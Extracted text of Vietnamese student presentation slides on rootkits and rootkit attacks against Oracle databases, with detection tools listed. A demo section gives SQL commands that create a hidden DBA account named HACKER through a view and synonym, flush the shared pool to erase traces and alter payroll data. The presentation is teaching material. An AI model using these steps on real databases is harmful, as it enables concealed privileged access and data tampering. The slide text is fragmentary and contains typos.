Dùng để chỉ bộ công cụ Unix được biên dịch lại như giấu và chiếm quyền Eweek CÓ 20% malware bị phát hiện trên Windows XP SP2 là rootkit Rootkit ngày càng biến hóa với nhiều loại Rootki
Trang 1Tìm hiểu, triển khai công nghệ tự động cập nhật bản vá cho máy trạm
và máy chủ chạy hệ điều hành Microsoft Windows
Giáo viên hướng dẫn: TS Cao Minh Tuấn Nhóm sinh viên thực hiện:
Nguyễn Văn Minh Hoàng Phạm Thị Thương Mến
Thiều Thùy Trang Nữ Trần Võ Anh Thư
HỌC VIỆN KỸ THUẬT MẬT MÃ
Trang 4Dùng để chỉ bộ công cụ Unix được biên dịch lại như
giấu và chiếm quyền
Eweek
CÓ 20% malware bị phát hiện trên Windows XP SP2 là
rootkit
Rootkit ngày càng biến hóa với nhiều loại Rootkit khác nhau
Dangerous Rootkit xuất hiện phổ biến trong thế giới công nghệ ngày nay, ẩn tàng
như một mailware tới người dùng
Sự kiện Sony Rootkit: Hãng ghi âm Sony BMG đã phải nộp một khoản tiền lên tới 1,5 triệu USD để đền bù cho những người dùng PC ở hai bang California và Texas khi cố tình cài 1 phần mềm chống vi phạm bản quyền dưới
Một số Rootkit có trong như: Sâu Stuxnet, Koutodoor, TDSS
LỊCH SỬ ROOTKIT
TỔNG QUAN VỀ ROOTKIT
Trang 5một chương trình được thiết kế để che
giấu không chỉ chính
nó mà còn các thành
phần liên quan khác
như process, file
Không mang tính hiểm độc nhưng vẫn tiềm ẩn nguy cơ mất an toàn khi được sử dụng với các chương trình như
tới máy bị điều khiển
Rootkit cho thấy một lỗ hổng cơ bản của hệ điều hành Khó mà biết được tính toàn vẹn của hệ thống tới đâu
GIỚI THIỆU VỀ ROOTKIT
TỔNG QUAN VỀ ROOTKIT
ROOTKIT
Trang 6Bất kì khi nào user hay một
chương trình nào truy vấn hệ
thống, kết quả trả về sẽ được
mặc định tin tưởng không chút nghi vấn Rootkit lợi dụng sự tin tưởng cơ bản này
Trang 7PHÂN LOẠI ROOTKITTỔNG QUAN VỀ ROOTKIT
Rootkit dựa trên bộ
nhớ(
Memory-based)
Là các mã độc không có những đoạn mã "dai dẳng" - chỉ lưu trong bộ nhớ, chính vì thế loại rootkit này không tồn tại sau khi khởi động lại máy.
Trang 8Tấn công rootkit trong
oracle
Tấn công rootkit trong
oracle
PRESENTED BY MEMBER OF GROUP
Trang 9Content
Kiến trúc Oracle
Quản
trị Oracle
Tấn công Rootkit
TẤN CÔNG ROOTKIT TRONG ORACLE
Trang 101-Đặc quyền trong Oracle.
Là quyền thực hiện một thao tác nhất định đối với cơ sở dữ liệu.
Đặc quyền có thể được
gán(Grant),cũng có thể thu hồi(Revoke) đối với người dùng
( ĐQ Đối tượng và hệ thống)
3-Tài khoản System
Được tạo khi tạo cơ sở dữ liệu , được gán role DBA.
User system thường sở hữu các
bảng do Oracle cung cấp
User system có thể tạo thêm các table và view để cung cấp thông tin quản trị.
Không nên tạo các đối tượng
bằng tài khoản này.
2-Tài khoản SYS.
Là tài khoản sở hữu cơ sở dữ liệu và từ
Không nên tạo các table hay chỉnh
sửa gì trong schema của user SYS.
4-PL/SQL(ngôn ngữ truy vấn cấu trúc)
SQL- Dùng để truy nhập để lấy dữ liệu từ cơ sở dữ liệu.
SQL không có sự đảm bảo về tính hiệu quả, không có vòng lặp,…
PL/SQL khắc phục những nhược điểm của SQL và có thêm những tính năng mới
PL/SQL sử dụng cho việc tạo các procedure, function, trigger, và object được lưu trữ trong Oracle
QUẢN TRỊ ORACLE
TẤN CÔNG ROOTKIT TRONG ORACLE
Trang 11TẤN CÔNG ROOTKIT ORACLE
TẤN CÔNG ROOTKIT TRONG ORACLE
DBA_JOBS
View dba_jobs lưu thông tin về tất cả Jobs trong cơ sở dữ liệu
view này
DBA_JOB_RUNNING
View dba_job_running liệt kê thông tin về tất cả job đang
chạy.
Data Dictionary
Trang 12TẤN CÔNG ROOTKIT ORACLE
TẤN CÔNG ROOTKIT TRONG ORACLE
Khả năng của Rootkit
Xóa Oracle Redo-log.
-Các thay đổi lên cơ sở dữ liệu được lưu
trong Redo-Log file
-Rootkit cần chuyểncác redo log file
trong tất cả redo log group để nội dung
trong đó bị thay đổi
Ẩn tài khoản truy cập.
Ẩn bằng cách sửa các view source : AND U.NAME!= ‘tên cần ẩn’.
Xóa Oracle SGA
-Các dấu vết của một tấn công cũng lưu trong bộ nhớ của
cơ sở dữ liệu SGA.
-Để gỡ các thông tin này từ SGA, xóa shared pool bằng
lệnh sau:
Alter system flush shared_pool;
-Xóa share pool sẽ ảnh hưởng tới hiệu suất và tốc độ truy
cập của cơ sở dữ liệu
Ẩn tiến trình.
Các tiến trình được lưu trong view v$session nằm ở schema Sys.
V$session trước và sau khi
ẩn tiến trình của tin tặc.
Ẩn tác vụ cơ sở dữ liệu -Hacker sẽ tạo một job và ẩn job này đi-bằng cách giấu đi priv_user(quyền của user mà job được sử dụng).
Xóa Listener Log trong Oracle
-Các thông tin được log trong
listener.log của TNS-listener.
Attacker gỡ bỏ các dấu vết có
trong các file này.
Trang 13TẤN CÔNG ROOTKIT ORACLE
TẤN CÔNG ROOTKIT TRONG ORACLE
Cách thức tấn công của Rootkit
Tin tặc sẽ tìm cách nào đó thay đổi mã nguồn của khung nhìn trong v$fixed_view_definition để che giấu tài khoản sysdba hacker của hắn:
Select view_definition from v$fixed_view_definition where view_name = ‘GV$PWFILE_USERS’;
Trang 14TẤN CÔNG ROOTKIT ORACLE
TẤN CÔNG ROOTKIT TRONG ORACLE
Cách thức tấn công của Rootkit Thay đổi nguồn xem bằng cách sửa đổi nhị phân
Tin tặc sẽ phải tác động tới phần nhị phân để source của khung nhìn cố định bị ảnh hưởng.
Trang 15TẤN CÔNG ROOTKIT ORACLE
TẤN CÔNG ROOTKIT TRONG ORACLE
Cách thức tấn công của Rootkit Thay đổi đường dẫn thực thi
Dựa trên cấu trúc của đường dẫn thực thi của Oracle, sẽ có một
số cách có thể cho việc thi hành một rootkit sau.
Kiểm tra xem có object DBA_users không?
Nếu có thì sử dụng, không có thì tìm tiếp!
Trang 16TẤN CÔNG ROOTKIT ORACLE
TẤN CÔNG ROOTKIT TRONG ORACLE
Cách thức tấn công của Rootkit Thay đổi các gói PL/SQL
Sau khi tạo một thủ tục lưu trữ, có thể truy cập mã nguồn thông qua bảng SOURCE như sau
Hacker có thể dùng các công cụ wrap và unwap để sửa đổi lại mã các procedure, package với các phiên bản Oracle không sử dụng checksum.
SQL>SELECT text FROM USER_SOURCE SQL>WHERE name =’WRAPTEST’ order by line;
Kết quả:
PROCEDURE wraptest IS TYPE emp_tab IS TABLE OF emp%ROWTYPE INDEX BY PLS_INTEGER;
All_emps emp_tab;
BEGIN SELECT*BULK COLLECT INTO all_emps FROM emp;
FOR i IN 1 10 LOOP DBMS_OUTPUT.PUT_LINE(Emp Id: ‘|| all_emps(i).empno);
END LOP END;
Trang 18PHƯƠNG PHÁP PHÁT HIỆN
CÁCH PHÁT HIỆN VÀ PHÒNG TRÁNH ROOTKIT
Quét máy tính
Panda Anti- Rootkit, BlackLight,RootkitRe vealer của
SysInternals,GMER, IceSword và DarkSpy
Anti- malware
Theo dõi các sự kiện
(Sử dụng một hệ thống hoạt động dựu trên các sự kiện liên tục theo dõi để có thể nắm bắt được rootkit
vào thời điểm nó tiến hành tác vụ cài đặt
Trang 19DEMO tấn công Rootkit thay đổi
đường dẫn thực thi
bằng cách tạo View và Sysnonym
PRESENTED BY MEMBER OF GROUP
Trang 20Nội dung Demo:
Bước 1: Chiếm quyền Root
Bước 2: Gán quyền
Bước 3: Thực thi chương trình,
che dấu thay đổi đường đẫn thực thi, xóa dấu vết
( Trong demo giả sử Hacker đã chiếm được quyền
Root)
Trang 21AT121049
Trang 24Bước 3: Tạo 1 user HACKER mật khẩu là ABC123
SQL>CREATE USER HACKER IDENTIFIED BY ABC12
3
Trang 25Bước 4: Gán quyền DBA cho user HACKER:
SQL>GRANT DBA TO HACKER
Trang 26Bước 5: Đăng nhập với người dùng vừa tạo :
SQL>CONNECT Enter username: HACKER Enter password: ABC123
Trang 27Bước 6: Truy vấn đến bảng hệ thống DBA_USER:
SQL> SELECT USERNAME, PASSWORD
FROM DBA_USERS
Trang 29Bước 8: Tạo một view tên là DBA_HACK1 để đánh lừa người dùng nhằm ẩn user HACKER:
SQL>CREATE VIEW DBA_HACK1 AS SELECT * FROM DBA_USERS
WHERE USERNAME!= ‘HACKER’
Bước 9: Tạo 1 synonym có tên là HACKER.DBA_USERS
SQL> CREATE SYSNONYM HACKER.DBA_USERS FOR DBA_HACK1
Trang 30Bước 10: Đăng nhập lại user:
Enter username: HACKER Enter password: ABC123
Bước 11: Truy vấn tên người dùng trong bảng
DBA_USER :
SQL> SELECT USERNAME FROM
DBA_USERS
Trang 31MANV NVARCHAR(5) NOT NULL
PRIMARY KEY, HOTEN NVARCHAR(30), PHONG NVARCHAR(10),
LUONG NUMBER
)
Trang 32Bước 13: Tạo bản ghi cho bảng NhânViên:
INSERT INTO NHANVIEN VALUES ( ‘001’, ‘ Pham Van A’, ‘Phong 3’,
‘3000000’);
Trang 33Bước 14: Truy vấn dữ liệu trong bảng Nhân Viên:
SELECT * FROM NHANVIEN
Bước 15: Đăng nhập bằng user Hacker và sửa nội
dung của bảng
CONNECT HACKER/ABC123 UPDATE SYSTEM.NHANVIEN SET
LUONG=‘5000000’ WHERE MANV=‘001’;
SELECT * FROM SYSTEM.NHANVIEN ;
Trang 34select username, password from dba_users ;
alter user oravn identified by oravn ;